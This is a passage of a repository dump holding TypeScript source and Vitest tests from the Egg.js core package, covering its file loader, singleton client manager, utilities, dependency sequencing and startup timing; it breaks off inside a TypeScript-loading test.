    "content": "import assert from 'node:assert';\nimport fs from 'node:fs';\nimport path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport { isSupportTypeScript } from '@eggjs/utils';\nimport globby from 'globby';\nimport { isClass, isGeneratorFunction, isAsyncFunction, isPrimitive } from 'is-type-of';\n\nimport utils, { type Fun } from '../utils/index.ts';\n\nconst debug = debuglog('egg/core/file_loader');\n\nexport const FULLPATH: unique symbol = Symbol('EGG_LOADER_ITEM_FULLPATH');\nexport const EXPORTS: unique symbol = Symbol('EGG_LOADER_ITEM_EXPORTS');\n\nexport const CaseStyle = {\n  camel: 'camel',\n  lower: 'lower',\n  upper: 'upper',\n} as const;\nexport type CaseStyle = (typeof CaseStyle)[keyof typeof CaseStyle];\n\nexport type CaseStyleFunction = (filepath: string) => string[];\nexport type FileLoaderInitializer = (exports: unknown, options: { path: string; pathName: string }) => unknown;\nexport type FileLoaderFilter = (exports: unknown) => boolean;\n\nexport interface FileLoaderOptions {\n  /** directories to be loaded */\n  directory: string | string[];\n  /** attach the target object from loaded files */\n\n  target: Record<string, any>;\n  /** match the files when load, support glob, default to all js files */\n  match?: string | string[];\n  /** ignore the files when load, support glob */\n  ignore?: string | string[];\n  /** custom file exports, receive two parameters, first is the inject object(if not js file, will be content buffer), second is an `options` object that contain `path` */\n  initializer?: FileLoaderInitializer;\n  /** determine whether invoke when exports is function */\n  call?: boolean;\n  /** determine whether override the property when get the same name */\n  override?: boolean;\n  /** an object that be the argument when invoke the function */\n\n  inject?: Record<string, any>;\n  /** a function that filter the exports which can be loaded */\n  filter?: FileLoaderFilter;\n  /** set property's case when converting a filepath to property list. */\n  caseStyle?: CaseStyle | CaseStyleFunction;\n  lowercaseFirst?: boolean;\n}\n\nexport interface FileLoaderParseItem {\n  fullpath: string;\n  properties: string[];\n  exports: object | Fun;\n}\n\n/**\n * Load files from directory to target object.\n * @since 1.0.0\n */\nexport class FileLoader {\n  static get FULLPATH(): typeof FULLPATH {\n    return FULLPATH;\n  }\n\n  static get EXPORTS(): typeof EXPORTS {\n    return EXPORTS;\n  }\n\n  readonly options: FileLoaderOptions & Required<Pick<FileLoaderOptions, 'caseStyle'>>;\n\n  /**\n   * @class\n   * @param {Object} options - options\n   * @param {String|Array} options.directory - directories to be loaded\n   * @param {Object} options.target - attach the target object from loaded files\n   * @param {String} options.match - match the files when load, support glob, default to all js files\n   * @param {String} options.ignore - ignore the files when load, support glob\n   * @param {Function} options.initializer - custom file exports, receive two parameters, first is the inject object(if not js file, will be content buffer), second is an `options` object that contain `path`\n   * @param {Boolean} options.call - determine whether invoke when exports is function\n   * @param {Boolean} options.override - determine whether override the property when get the same name\n   * @param {Object} options.inject - an object that be the argument when invoke the function\n   * @param {Function} options.filter - a function that filter the exports which can be loaded\n   * @param {String|Function} options.caseStyle - set property's case when converting a filepath to property list.\n   */\n  constructor(options: FileLoaderOptions) {\n    assert(options.directory, 'options.directory is required');\n    assert(options.target, 'options.target is required');\n    this.options = {\n      caseStyle: CaseStyle.camel,\n      call: true,\n      override: false,\n      ...options,\n    };\n\n    // compatible old options _lowercaseFirst_\n    if (this.options.lowercaseFirst === true) {\n      utils.deprecated('lowercaseFirst is deprecated, use caseStyle instead');\n      this.options.caseStyle = CaseStyle.lower;\n    }\n  }\n\n  /**\n   * attach items to target object. Mapping the directory to properties.\n   * `app/controller/group/repository.js` => `target.group.repository`\n   * @returns {Object} target\n   * @since 1.0.0\n   */\n  async load(): Promise<object> {\n    const items = await this.parse();\n    const target = this.options.target;\n    for (const item of items) {\n      debug('[load] loading item: fullpath: %s, properties: %o', item.fullpath, item.properties);\n      // item { properties: [ 'a', 'b', 'c'], exports }\n      // => target.a.b.c = exports\n      item.properties.reduce((target, property, index) => {\n        let obj: any;\n        const properties = item.properties.slice(0, index + 1).join('.');\n        if (index === item.properties.length - 1) {\n          if (property in target && !this.options.override) {\n            throw new Error(\n              `can't overwrite property '${properties}' from ${target[property][FULLPATH]} by ${item.fullpath}`,\n            );\n          }\n          obj = item.exports;\n          if (obj && !isPrimitive(obj)) {\n            Reflect.set(obj, FULLPATH, item.fullpath);\n            Reflect.set(obj, EXPORTS, true);\n          }\n        } else {\n          obj = target[property] || {};\n        }\n        target[property] = obj;\n        if (debug.enabled) {\n          debug('[load] loaded item properties: %o => keys: %j, index: %d', properties, Object.keys(obj), index);\n        }\n        return obj;\n      }, target);\n    }\n    return target;\n  }\n\n  /**\n   * Parse files from given directories, then return an items list, each item contains properties and exports.\n   *\n   * For example, parse `app/controller/group/repository.js`\n   *\n   * ```\n   * module.exports = app => {\n   *   return class RepositoryController extends app.Controller {};\n   * }\n   * ```\n   *\n   * It returns a item\n   *\n   * ```\n   * {\n   *   properties: [ 'group', 'repository' ],\n   *   exports: app => { ... },\n   * }\n   * ```\n   *\n   * `Properties` is an array that contains the directory of a filepath.\n   *\n   * `Exports` depends on type, if exports is a function, it will be called. if initializer is specified, it will be called with exports for customizing.\n   * @returns {Array} items\n   * @since 1.0.0\n   */\n  protected async parse(): Promise<FileLoaderParseItem[]> {\n    let files = this.options.match;\n    if (files) {\n      files = Array.isArray(files) ? files : [files];\n    } else {\n      files = isSupportTypeScript() ? ['**/*.(js|ts)', '!**/*.d.ts'] : ['**/*.js'];\n    }\n\n    let ignore = this.options.ignore;\n    if (ignore) {\n      ignore = Array.isArray(ignore) ? ignore : [ignore];\n      ignore = ignore.filter((f) => !!f).map((f) => '!' + f);\n      files = files.concat(ignore);\n    }\n\n    let directories = this.options.directory;\n    if (!Array.isArray(directories)) {\n      directories = [directories];\n    }\n\n    const filter = typeof this.options.filter === 'function' ? this.options.filter : null;\n    const items: FileLoaderParseItem[] = [];\n    debug('[parse] parsing directories: %j', directories);\n    for (const directory of directories) {\n      const filepaths = globby.sync(files, { cwd: directory });\n      debug('[parse] globby files: %o, cwd: %o => %o', files, directory, filepaths);\n      for (const filepath of filepaths) {\n        const fullpath = path.join(directory, filepath);\n        if (!fs.statSync(fullpath).isFile()) continue;\n        if (filepath.endsWith('.js')) {\n          const filepathTs = filepath.replace(/\\.js$/, '.ts');\n          if (filepaths.includes(filepathTs)) {\n            debug('[parse] ignore %s, because %s exists', fullpath, filepathTs);\n            continue;\n          }\n        }\n        // get properties\n        // app/service/foo/bar.js => [ 'foo', 'bar' ]\n        const properties = getProperties(filepath, this.options.caseStyle);\n        // app/service/foo/bar.js => service.foo.bar\n        const pathName = directory.split(/[/\\\\]/).slice(-1) + '.' + properties.join('.');\n        // get exports from the file\n        const exports = await getExports(fullpath, this.options, pathName);\n\n        // ignore exports when it's null or false returned by filter function\n        if (exports === null || exports === undefined || (filter && filter(exports) === false)) {\n          continue;\n        }\n\n        // set properties of class\n        if (isClass(exports)) {\n          exports.prototype.pathName = pathName;\n          exports.prototype.fullPath = fullpath;\n        }\n\n        items.push({ fullpath, properties, exports });\n        debug('[parse] parse %s, properties %j, exports %o', fullpath, properties, exports);\n      }\n    }\n\n    return items;\n  }\n}\n\n// convert file path to an array of properties\n// a/b/c.js => ['a', 'b', 'c']\nfunction getProperties(filepath: string, caseStyle: CaseStyle | CaseStyleFunction): string[] {\n  // if caseStyle is function, return the result of function\n  if (typeof caseStyle === 'function') {\n    const result = caseStyle(filepath);\n    assert(Array.isArray(result), `caseStyle expect an array, but got ${JSON.stringify(result)}`);\n    return result;\n  }\n  // use default camelize\n  return defaultCamelize(filepath, caseStyle);\n}\n\n// Get exports from filepath\n// If exports is null/undefined, it will be ignored\nasync function getExports(fullpath: string, options: FileLoaderOptions, pathName: string): Promise<any> {\n  let exports = await utils.loadFile(fullpath);\n  // process exports as you like\n  if (options.initializer) {\n    exports = options.initializer(exports, { path: fullpath, pathName });\n    debug('[getExports] after initializer => %o', exports);\n  }\n\n  if (isGeneratorFunction(exports)) {\n    throw new TypeError(`Support for generators was removed, fullpath: ${fullpath}`);\n  }\n\n  // return exports when it's a class or async function\n  //\n  // module.exports = class Service {};\n  // or\n  // module.exports = async function() {}\n  if (isClass(exports) || isAsyncFunction(exports)) {\n    return exports;\n  }\n\n  // return exports after call when it's a function\n  //\n  // module.exports = function(app) {\n  //   return {};\n  // }\n  if (options.call && typeof exports === 'function') {\n    exports = exports(options.inject);\n    if (exports !== null && exports !== undefined) {\n      return exports;\n    }\n  }\n\n  // return exports what is\n  return exports;\n}\n\nfunction defaultCamelize(filepath: string, caseStyle: CaseStyle): string[] {\n  const properties = filepath.slice(0, filepath.lastIndexOf('.')).split('/');\n  return properties.map((property) => {\n    if (!/^[a-z][a-z0-9_-]*$/i.test(property)) {\n      throw new Error(`${property} is not match 'a-z0-9_-' in ${filepath}`);\n    }\n\n    // use default camelize, will capitalize the first letter\n    // foo_bar.js > FooBar\n    // fooBar.js  > FooBar\n    // FooBar.js  > FooBar\n    // FooBar.js  > FooBar\n    // FooBar.js  > fooBar (if lowercaseFirst is true)\n    property = property.replaceAll(/[_-][a-z]/gi, (s) => s.slice(1).toUpperCase());\n    let first = property[0];\n    if (caseStyle === CaseStyle.lower) {\n      first = first.toLowerCase();\n    } else if (caseStyle === CaseStyle.upper) {\n      first = first.toUpperCase();\n    }\n    return first + property.slice(1);\n  });\n}\n"
  },
  {
    "path": "packages/core/src/singleton.ts",
    "content": "import assert from 'node:assert';\n\nimport { isAsyncFunction } from 'is-type-of';\n\nimport type { EggCore } from './egg.ts';\n\nexport type SingletonCreateMethod = (\n  config: Record<string, any>,\n  app: any,\n  clientName: string,\n) => unknown | Promise<unknown>;\n\nexport interface SingletonOptions {\n  name: string;\n  app: EggCore;\n  create: SingletonCreateMethod;\n}\n\nexport class Singleton<T = any> {\n  readonly clients: Map<string, T> = new Map<string, T>();\n  readonly app: EggCore;\n  readonly create: SingletonCreateMethod;\n  readonly name: string;\n  readonly options: Record<string, any>;\n\n  constructor(options: SingletonOptions) {\n    assert(options.name, '[egg/core/singleton] Singleton#constructor options.name is required');\n    assert(options.app, '[egg/core/singleton] Singleton#constructor options.app is required');\n    assert(options.create, '[egg/core/singleton] Singleton#constructor options.create is required');\n    assert(!(options.name in options.app), `[egg/core/singleton] ${options.name} is already exists in app`);\n    this.app = options.app;\n    this.name = options.name;\n    this.create = options.create;\n    this.options = options.app.config[this.name] ?? {};\n  }\n\n  init(): void | Promise<void> {\n    return isAsyncFunction(this.create) ? this.initAsync() : this.initSync();\n  }\n\n  initSync(): void {\n    const options = this.options;\n    assert(\n      !(options.client && options.clients),\n      `[egg/core/singleton] ${this.name} can not set options.client and options.clients both`,\n    );\n\n    // alias app[name] as client, but still support createInstance method\n    if (options.client) {\n      const client = this.createInstance(options.client, options.name);\n      this.#setClientToApp(client);\n      this.#extendDynamicMethods(client);\n      return;\n    }\n\n    // multi client, use app[name].getSingletonInstance(id)\n    if (options.clients) {\n      for (const id of Object.keys(options.clients)) {\n        const client = this.createInstance(options.clients[id], id);\n        this.clients.set(id, client);\n      }\n      this.#setClientToApp(this);\n      return;\n    }\n\n    // no config.clients and config.client\n    this.#setClientToApp(this);\n  }\n\n  async initAsync(): Promise<void> {\n    const options = this.options;\n    assert(\n      !(options.client && options.clients),\n      `[egg/core/singleton] ${this.name} can not set options.client and options.clients both`,\n    );\n\n    // alias app[name] as client, but still support createInstance method\n    if (options.client) {\n      const client = await this.createInstanceAsync(options.client, options.name);\n      this.#setClientToApp(client);\n      this.#extendDynamicMethods(client);\n      return;\n    }\n\n    // multi client, use app[name].getInstance(id)\n    if (options.clients) {\n      await Promise.all(\n        Object.keys(options.clients).map((id: string) => {\n          return this.createInstanceAsync(options.clients[id], id).then((client) => this.clients.set(id, client));\n        }),\n      );\n      this.#setClientToApp(this);\n      return;\n    }\n\n    // no config.clients and config.client\n    this.#setClientToApp(this);\n  }\n\n  #setClientToApp(client: unknown): void {\n    Reflect.set(this.app, this.name, client);\n  }\n\n  /**\n   * @deprecated please use `getSingletonInstance(id)` instead\n   */\n  get(id: string) {\n    return this.clients.get(id) as T;\n  }\n\n  /**\n   * Get singleton instance by id\n   */\n  getSingletonInstance(id: string) {\n    return this.clients.get(id) as T;\n  }\n\n  createInstance(config: Record<string, any>, clientName: string) {\n    // async creator only support createInstanceAsync\n    assert(\n      !isAsyncFunction(this.create),\n      `[egg/core/singleton] ${this.name} only support asynchronous creation, please use createInstanceAsync`,\n    );\n    // options.default will be merge in to options.clients[id]\n    config = {\n      ...this.options.default,\n      ...config,\n    };\n    return (this.create as SingletonCreateMethod)(config, this.app, clientName) as T;\n  }\n\n  async createInstanceAsync(config: Record<string, any>, clientName: string): Promise<T> {\n    // options.default will be merge in to options.clients[id]\n    config = {\n      ...this.options.default,\n      ...config,\n    };\n    return (await this.create(config, this.app, clientName)) as T;\n  }\n\n  #extendDynamicMethods(client: any): void {\n    assert(!client.createInstance, '[egg/core/singleton] singleton instance should not have createInstance method');\n    assert(\n      !client.createInstanceAsync,\n      '[egg/core/singleton] singleton instance should not have createInstanceAsync method',\n    );\n\n    try {\n      let extendable = client;\n      // Object.preventExtensions() or Object.freeze()\n      if (!Object.isExtensible(client) || Object.isFrozen(client)) {\n        // eslint-disable-next-line no-proto\n        extendable = client.__proto__ || client;\n      }\n      extendable.createInstance = this.createInstance.bind(this);\n      extendable.createInstanceAsync = this.createInstanceAsync.bind(this);\n    } catch (err) {\n      this.app.coreLogger.warn(\n        '[egg/core/singleton] %s dynamic create is disabled because of client is un-extendable',\n        this.name,\n      );\n      this.app.coreLogger.warn(err);\n    }\n  }\n}\n"
  },
  {
    "path": "packages/core/src/types.ts",
    "content": "export interface EggAppInfo {\n  /** package.json */\n  pkg: Record<string, any>;\n  /** the application name from package.json */\n  name: string;\n  /** current directory of application */\n  baseDir: string;\n  /** equals to serverEnv */\n  env: string;\n  /** equals to serverScope */\n  scope: string;\n  /** home directory of the OS */\n  HOME: string;\n  /** baseDir when local and unittest, HOME when other environment */\n  root: string;\n}\n\nexport interface EggPluginInfo {\n  /** the plugin name, it can be used in `dep` */\n  name: string;\n  /** the package name of plugin */\n  package?: string;\n  version?: string;\n  /** whether enabled */\n  enable: boolean;\n  implicitEnable?: boolean;\n  /** the directory of the plugin package */\n  path?: string;\n  /** the dependent plugins, you can use the plugin name */\n  dependencies: string[];\n  /** the optional dependent plugins. */\n  optionalDependencies: string[];\n  dependents?: string[];\n  /** specify the serverEnv that only enable the plugin in it */\n  env: string[];\n  /** the file plugin config in. */\n  from: string;\n  /** whether skip merge plugin config from package.json */\n  skipMerge?: boolean;\n}\n\nexport interface CustomLoaderConfigItem {\n  /** the directory of the custom loader */\n  directory: string;\n  /** the inject object, it can be app or ctx */\n  inject: string;\n  /** whether load unit files */\n  loadunit?: boolean;\n}\n\nexport interface EggAppConfig extends Record<string, any> {\n  coreMiddleware: string[];\n  middleware: string[];\n  customLoader?: Record<string, CustomLoaderConfigItem>;\n  controller?: {\n    supportParams?: boolean;\n  };\n}\n"
  },
  {
    "path": "packages/core/src/utils/index.ts",
    "content": "import fs from 'node:fs';\nimport { stat } from 'node:fs/promises';\nimport BuiltinModule from 'node:module';\nimport path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport { importResolve, importModule } from '@eggjs/utils';\n\nconst debug = debuglog('egg/core/utils');\n\nexport type Fun = (...args: unknown[]) => unknown;\n\n// Guard against poorly mocked module constructors.\nconst Module =\n  typeof module !== 'undefined' && module.constructor.length > 1\n    ? module.constructor\n    : /* istanbul ignore next */ BuiltinModule;\n\nconst extensions = (Module as any)._extensions;\nconst extensionNames = Object.keys(extensions).concat(['.cjs', '.mjs']);\ndebug('Module extensions: %j', extensionNames);\n\nfunction getCalleeFromStack(withLine?: boolean, stackIndex?: number): string {\n  stackIndex = stackIndex === undefined ? 2 : stackIndex;\n  const limit = Error.stackTraceLimit;\n  const prep = Error.prepareStackTrace;\n\n  Error.prepareStackTrace = prepareObjectStackTrace;\n  Error.stackTraceLimit = 5;\n\n  // capture the stack\n\n  const obj: any = {};\n  Error.captureStackTrace(obj);\n  let callSite = obj.stack[stackIndex];\n  let fileName = '';\n  if (callSite) {\n    // egg-mock will create a proxy\n    // https://github.com/eggjs/egg-mock/blob/5.x/lib/app.js#L174\n    fileName = callSite.getFileName();\n    if (fileName && fileName.endsWith('egg-mock/lib/app.js')) {\n      // TODO: add test\n      callSite = obj.stack[stackIndex + 1];\n      fileName = callSite.getFileName();\n    }\n  }\n\n  Error.prepareStackTrace = prep;\n  Error.stackTraceLimit = limit;\n\n  if (!callSite || !fileName) return '<anonymous>';\n  if (!withLine) return fileName;\n  return `${fileName}:${callSite.getLineNumber()}:${callSite.getColumnNumber()}`;\n}\n\nconst utils = {\n  deprecated(message: string): void {\n    if (debug.enabled) {\n      console.trace('[@eggjs/core/deprecated] %s', message);\n    } else {\n      console.log('[@eggjs/core/deprecated] %s', message);\n      console.log('[@eggjs/core/deprecated] set NODE_DEBUG=@eggjs/core/utils can show call stack');\n    }\n  },\n\n  extensions: extensions as Record<string, any>,\n  extensionNames: extensionNames as string[],\n\n  async existsPath(filepath: string): Promise<boolean> {\n    try {\n      await stat(filepath);\n      return true;\n    } catch {\n      return false;\n    }\n  },\n\n  async loadFile(filepath: string): Promise<any> {\n    debug('[loadFile:start] filepath: %s', filepath);\n    try {\n      // if not js module, just return content buffer\n      const extname = path.extname(filepath);\n      if (extname && !extensionNames.includes(extname) && extname !== '.ts') {\n        return fs.readFileSync(filepath);\n      }\n      const obj = await importModule(filepath, { importDefaultOnly: true });\n      return obj;\n    } catch (e) {\n      if (!(e instanceof Error)) {\n        // ts error: test/fixtures/apps/app-ts/app/extend/context.ts(5,17): error TS2339: Property 'url' does not exist on type 'Context'\n        console.trace(e);\n        throw e;\n      }\n      const err = new Error(`[egg/core] load file: ${filepath}, error: ${e.message}`);\n      err.cause = e;\n      debug('[loadFile] handle %s error: %s', filepath, e);\n      throw err;\n    }\n  },\n\n  resolvePath(filepath: string, options?: { paths?: string[] }): string {\n    return importResolve(filepath, options);\n  },\n\n  methods: ['head', 'options', 'get', 'put', 'patch', 'post', 'delete'] as const,\n\n  async callFn(fn: Fun, args?: unknown[], ctx?: unknown): Promise<unknown> {\n    args = args || [];\n    if (typeof fn !== 'function') return;\n    return ctx ? fn.call(ctx, ...args) : fn(...args);\n  },\n\n  getCalleeFromStack: getCalleeFromStack as (withLine?: boolean, stackIndex?: number) => string,\n\n  getResolvedFilename(filepath: string, baseDir: string): string {\n    const reg = /[/\\\\]/g;\n    return filepath.replace(baseDir + path.sep, '').replace(reg, '/');\n  },\n};\n\nexport default utils;\n\n/**\n * Capture call site stack from v8.\n * https://github.com/v8/v8/wiki/Stack-Trace-API\n */\nfunction prepareObjectStackTrace(_obj: unknown, stack: unknown): unknown {\n  return stack;\n}\n"
  },
  {
    "path": "packages/core/src/utils/sequencify.ts",
    "content": "import { debuglog } from 'node:util';\n\nconst debug = debuglog('egg/core/utils/sequencify');\n\nexport interface SequencifyResult {\n  sequence: string[];\n  requires: Record<string, true>;\n}\n\nexport interface SequencifyTask {\n  dependencies: string[];\n  optionalDependencies: string[];\n}\n\nfunction sequence(\n  // oxlint-disable-next-line max-params\n  tasks: Record<string, SequencifyTask>,\n  names: string[],\n  result: SequencifyResult,\n  missing: string[],\n  recursive: string[],\n  nest: string[],\n  optional: boolean,\n  parent: string,\n): void {\n  for (const name of names) {\n    if (result.requires[name]) {\n      continue;\n    }\n    const node = tasks[name];\n    if (!node) {\n      if (optional === true) {\n        continue;\n      }\n      missing.push(name);\n    } else if (nest.includes(name)) {\n      nest.push(name);\n      recursive.push(...nest.slice(0));\n      nest.pop();\n    } else if (node.dependencies.length > 0 || node.optionalDependencies.length > 0) {\n      nest.push(name);\n      if (node.dependencies.length > 0) {\n        sequence(tasks, node.dependencies, result, missing, recursive, nest, optional, name);\n      }\n      if (node.optionalDependencies.length > 0) {\n        sequence(tasks, node.optionalDependencies, result, missing, recursive, nest, true, name);\n      }\n      nest.pop();\n    }\n    if (!optional) {\n      result.requires[name] = true;\n      debug('task: %s is enabled by %s', name, parent);\n    }\n    if (!result.sequence.includes(name)) {\n      result.sequence.push(name);\n    }\n  }\n}\n\n// tasks: object with keys as task names\n// names: array of task names\nexport function sequencify(\n  tasks: Record<string, SequencifyTask>,\n  names: string[],\n): {\n  sequence: string[];\n  missingTasks: string[];\n  recursiveDependencies: string[];\n} {\n  const result: SequencifyResult = {\n    sequence: [],\n    requires: {},\n  }; // the final sequence\n  const missing: string[] = []; // missing tasks\n  const recursive: string[] = []; // recursive task dependencies\n\n  sequence(tasks, names, result, missing, recursive, [], false, 'app');\n\n  if (missing.length > 0 || recursive.length > 0) {\n    result.sequence = []; // results are incomplete at best, completely wrong at worst, remove them to avoid confusion\n  }\n\n  return {\n    sequence: result.sequence.filter((item) => result.requires[item]),\n    missingTasks: missing,\n    recursiveDependencies: recursive,\n  };\n}\n"
  },
  {
    "path": "packages/core/src/utils/timing.ts",
    "content": "import assert from 'node:assert';\nimport { EOL } from 'node:os';\nimport { debuglog } from 'node:util';\n\nconst debug = debuglog('egg/core/utils/timing');\n\nexport interface TimingItem {\n  name: string;\n  start: number;\n  end?: number;\n  duration?: number;\n  pid: number;\n  index: number;\n}\n\nexport class Timing {\n  #enable: boolean;\n  #startTime: number;\n  #map: Map<string, TimingItem>;\n  #list: TimingItem[];\n  constructor() {\n    this.#enable = true;\n    this.#map = new Map();\n    this.#list = [];\n    this.init();\n  }\n\n  init(): void {\n    // process start time\n    this.start('Process Start', Date.now() - Math.floor(process.uptime() * 1000));\n    this.end('Process Start');\n\n    if ('scriptStartTime' in process && typeof process.scriptStartTime === 'number') {\n      // js script start execute time\n      this.start('Script Start', process.scriptStartTime);\n      this.end('Script Start');\n    }\n  }\n\n  start(name?: string, start?: number): TimingItem | undefined {\n    if (!name || !this.#enable) return;\n\n    if (this.#map.has(name)) {\n      this.end(name);\n    }\n\n    start = start || Date.now();\n    if (!this.#startTime) {\n      this.#startTime = start;\n    }\n    const item: TimingItem = {\n      name,\n      start,\n      pid: process.pid,\n      index: this.#list.length,\n    };\n    this.#map.set(name, item);\n    this.#list.push(item);\n    debug('start %j', item);\n    return item;\n  }\n\n  end(name?: string): TimingItem | undefined {\n    if (!name || !this.#enable) return;\n    const item = this.#map.get(name);\n    assert(item, `should run timing.start('${name}') first`);\n    item.end = Date.now();\n    item.duration = item.end - item.start;\n    debug('end %j', item);\n    return item;\n  }\n\n  enable(): void {\n    this.#enable = true;\n  }\n\n  disable(): void {\n    this.#enable = false;\n  }\n\n  clear(): void {\n    this.#map.clear();\n    this.#list = [];\n  }\n\n  toJSON(): TimingItem[] {\n    return this.#list;\n  }\n\n  itemToString(timelineEnd: number, item: TimingItem, times: number): string {\n    const isEnd = typeof item.duration === 'number';\n    const duration = isEnd ? (item.duration as number) : timelineEnd - item.start;\n    const offset = item.start - this.#startTime;\n    const status = `${duration}ms${isEnd ? '' : ' NOT_END'}`;\n    const timespan = Math.floor(Number((offset * times).toFixed(6)));\n    let timeline = Math.floor(Number((duration * times).toFixed(6)));\n    timeline = timeline > 0 ? timeline : 1; // make sure there is at least one unit\n    const message = `#${item.index} ${item.name}`;\n    return ' '.repeat(timespan) + '▇'.repeat(timeline) + ` [${status}] - ${message}`;\n  }\n\n  toString(prefix = 'egg start timeline:', width = 50): string {\n    const timelineEnd = Date.now();\n    const timelineDuration = timelineEnd - this.#startTime;\n    let times = 1;\n    if (timelineDuration > width) {\n      times = width / timelineDuration;\n    }\n    // follow https://github.com/node-modules/time-profile/blob/master/lib/profiler.js#L88\n    return prefix + EOL + this.#list.map((item) => this.itemToString(timelineEnd, item, times)).join(EOL);\n  }\n}\n"
  },
  {
    "path": "packages/core/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should expose properties 1`] = `\n[\n  \"BaseContextClass\",\n  \"CaseStyle\",\n  \"ClassLoader\",\n  \"Context\",\n  \"ContextLoader\",\n  \"EGG_LOADER\",\n  \"EXPORTS\",\n  \"EggCore\",\n  \"EggLoader\",\n  \"FULLPATH\",\n  \"FileLoader\",\n  \"KoaApplication\",\n  \"KoaContext\",\n  \"KoaRequest\",\n  \"KoaResponse\",\n  \"Lifecycle\",\n  \"Request\",\n  \"Response\",\n  \"Router\",\n  \"Singleton\",\n  \"Timing\",\n  \"sequencify\",\n  \"utils\",\n]\n`;\n"
  },
  {
    "path": "packages/core/test/asyncLocalStorage.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport { AsyncLocalStorage } from 'node:async_hooks';\n\nimport { request } from '@eggjs/supertest';\nimport { getAsyncLocalStorage, kGALS } from 'gals';\nimport { test, beforeAll } from 'vitest';\n\n// @ts-ignore\nimport { Application } from './fixtures/egg-esm/index.ts';\nimport { getFilepath } from './helper.ts';\n\nlet app: Application;\nbeforeAll(async () => {\n  app = new Application({\n    baseDir: getFilepath('session-cache-app'),\n    type: 'application',\n  });\n  await app.loader.loadAll();\n});\n\ntest('should start app with asyncLocalStorage = true by default', async () => {\n  assert.equal(app.currentContext, undefined);\n  const res1 = await request(app.callback()).get('/status');\n  assert.equal(res1.status, 200);\n  assert.equal(res1.text, 'egg status');\n  const res = await request(app.callback()).get('/');\n  assert.equal(res.status, 200);\n  // console.log(res.body);\n  assert.equal(res.body.sessionId, 'mock-session-id-123');\n  assert(res.body.traceId);\n  assert.equal(app.currentContext, undefined);\n});\n\ntest('should access als on global', async () => {\n  assert(Reflect.get(global, Symbol.for('gals#asyncLocalStorage')));\n  assert(Reflect.get(global, kGALS));\n  assert(Reflect.get(global, Symbol.for('gals#asyncLocalStorage')) instanceof AsyncLocalStorage);\n  assert.equal(app.ctxStorage, Reflect.get(global, Symbol.for('gals#asyncLocalStorage')));\n  assert.equal(app.ctxStorage, getAsyncLocalStorage());\n});\n"
  },
  {
    "path": "packages/core/test/egg-ts.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { request } from '@eggjs/supertest';\nimport coffee from 'coffee';\nimport { mm } from 'mm';\nimport { describe, it, beforeEach, afterEach } from 'vitest';\n\nimport { utils } from '../src/index.ts';\nimport { createApp, getFilepath, type Application } from './helper.ts';\n\ndescribe('test/egg-ts.test.ts', () => {\n  let app: Application | undefined;\n\n  beforeEach(() => {\n    // require.extensions['.ts'] = require.extensions['.js'];\n    // utils.extensions['.ts'] = require.extensions['.js'];\n  });\n\n  afterEach(async () => {\n    if (app) {\n      await app.close();\n    }\n    app = undefined;\n    return mm.restore();\n    // delete require.extensions['.ts'];\n    // delete utils.extensions['.ts'];\n  });\n\n  describe('load ts file', () => {\n    describe('load app', () => {\n      it('should success', async () => {\n        mm(process.env, 'EGG_TYPESCRIPT', 'true');\n        app = createApp('egg-ts');\n\n        (app as any).Helper = class Helper {};\n        await app.loader.loadPlugin();\n        await app.loader.loadConfig();\n        await app.loader.loadApplicationExtend();\n        await app.loader.loadAgentExtend();\n        await app.loader.loadRequestExtend();\n        await app.loader.loadResponseExtend();\n        await app.loader.loadContextExtend();\n        await app.loader.loadHelperExtend();\n        await app.loader.loadCustomApp();\n        await app.loader.loadService();\n        await app.loader.loadController();\n        await app.loader.loadRouter();\n        await app.loader.loadPlugin();\n        await app.loader.loadMiddleware();\n\n        await request(app.callback())\n          .get('/')\n          .expect((res) => {\n            assert(res.text.includes('from extend context'));\n            assert(res.text.includes('from extend application'));\n            assert(res.text.includes('from extend request'));\n            assert(res.text.includes('from extend agent'));\n            assert(res.text.includes('from extend helper'));\n            assert(res.text.includes('from extend response'));\n            assert(res.text.includes('from custom app'));\n            assert(res.text.includes('from plugins'));\n            assert(res.text.includes('from config.default'));\n            assert(res.text.includes('from middleware'));\n            assert(res.text.includes('from service'));\n          })\n          .expect(200);\n      });\n    });\n\n    describe('load agent', () => {\n      it('should success', async () => {\n        mm(process.env, 'EGG_TYPESCRIPT', 'true');\n        app = createApp('egg-ts');\n\n        (app as any).Helper = class Helper {};\n        await app.loader.loadPlugin();\n        await app.loader.loadConfig();\n        await app.loader.loadApplicationExtend();\n        await app.loader.loadAgentExtend();\n        await app.loader.loadRequestExtend();\n        await app.loader.loadResponseExtend();\n        await app.loader.loadContextExtend();\n        await app.loader.loadHelperExtend();\n        await app.loader.loadCustomAgent();\n        await app.loader.loadService();\n        await app.loader.loadController();\n        await app.loader.loadRouter();\n        await app.loader.loadPlugin();\n        await app.loader.loadMiddleware();\n\n        await request(app.callback())\n          .get('/')\n          .expect((res) => {\n            // console.log(res.text);\n            assert(res.text.includes('from extend context'));\n            assert(res.text.includes('from extend application'));\n            assert(res.text.includes('from extend request'));\n            assert(res.text.includes('from extend agent'));\n            assert(res.text.includes('from extend helper'));\n            assert(res.text.includes('from extend response'));\n            assert(res.text.includes('from custom agent'));\n            assert(res.text.includes('from plugins'));\n            assert(res.text.includes('from config.default'));\n            assert(res.text.includes('from middleware'));\n            assert(res.text.includes('from service'));\n          })\n          .expect(200);\n      });\n    });\n  });\n\n  it('should not load d.ts files while typescript was true', async () => {\n    mm(process.env, 'EGG_TYPESCRIPT', 'true');\n    app = createApp('egg-ts-js');\n\n    await app.loader.loadController();\n    assert(!app.controller.god);\n    assert(app.controller.test);\n  });\n\n  it('should support load ts,js files', async () => {\n    mm(process.env, 'EGG_TYPESCRIPT', 'true');\n    app = createApp('egg-ts-js');\n\n    await app.loader.loadService();\n    assert(app.serviceClasses.lord);\n    assert(app.serviceClasses.test);\n  });\n\n  it('should auto require tsconfig-paths', async () => {\n    mm(process.env, 'EGG_TYPESCRIPT', 'true');\n    app = createApp('egg-ts-js-tsconfig-paths');\n\n    await app.loader.loadService();\n    assert(app.serviceClasses.lord);\n    assert(app.serviceClasses.test);\n  });\n\n  it.skip('should not load ts files while EGG_TYPESCRIPT was not exist', async () => {\n    app = createApp('egg-ts-js');\n\n    await 